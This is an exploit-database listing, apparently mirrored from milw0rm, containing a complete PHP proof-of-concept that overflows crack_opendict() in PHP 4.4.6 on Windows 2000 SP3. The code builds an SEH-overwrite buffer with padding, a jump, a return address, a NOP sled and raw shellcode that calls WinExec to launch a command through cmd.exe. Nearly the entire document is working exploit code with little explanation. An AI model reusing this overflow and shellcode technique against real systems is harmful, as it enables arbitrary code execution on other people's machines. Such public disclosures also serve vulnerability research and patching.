PHP 4.4.6 crack_opendict() Local Buffer Overflow Exploit PoC

🗓️ 01 Jul 2014 00:00:00Reported by RootType

PHP 4.4.6 crack_opendict() Local Buffer Overflow Exploit PoC win2k sp3 version / seh overwrite method launching from cl


                                                &#60;?php
//PHP 4.4.6 crack_opendict() local buffer overflow poc exploit
//win2k sp3 version / seh overwrite method
//to be launched from the cli

// by rgod
// site: http://retrogod.altervista.org

if (!extension_loaded(&#34;crack&#34;)){
die(&#34;you need the crack extension loaded.&#34;);
}

$____scode=
&#34;\xeb\x1b&#34;.
&#34;\x5b&#34;.
&#34;\x31\xc0&#34;.
&#34;\x50&#34;.
&#34;\x31\xc0&#34;.
&#34;\x88\x43\x59&#34;.
&#34;\x53&#34;.
&#34;\xbb\xca\x73\xe9\x77&#34;. //WinExec
&#34;\xff\xd3&#34;.
&#34;\x31\xc0&#34;.
&#34;\x50&#34;.
&#34;\xbb\x5c\xcf\xe9\x77&#34;. //ExitProcess
&#34;\xff\xd3&#34;.
&#34;\xe8\xe0\xff\xff\xff&#34;.
&#34;\x63\x6d\x64&#34;.
&#34;\x2e&#34;.
&#34;\x65&#34;.
&#34;\x78\x65&#34;.
&#34;\x20\x2f&#34;.
&#34;\x63\x20&#34;.
&#34;start notepad & &#34;;

$jmp=&#34;\xeb\x06\x06\xeb&#34;; // jmp short
$eip=&#34;\x86\xa0\xf8\x77&#34;; // call ebx, ntdll.dll
$____suntzu.=str_repeat(&#34;A&#34;,3216);
$____suntzu.=$jmp.$eip.str_repeat(&#34;\x90&#34;,12).$____scode;
crack_opendict($____suntzu);

?&#62;

# milw0rm.com [2007-03-08]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1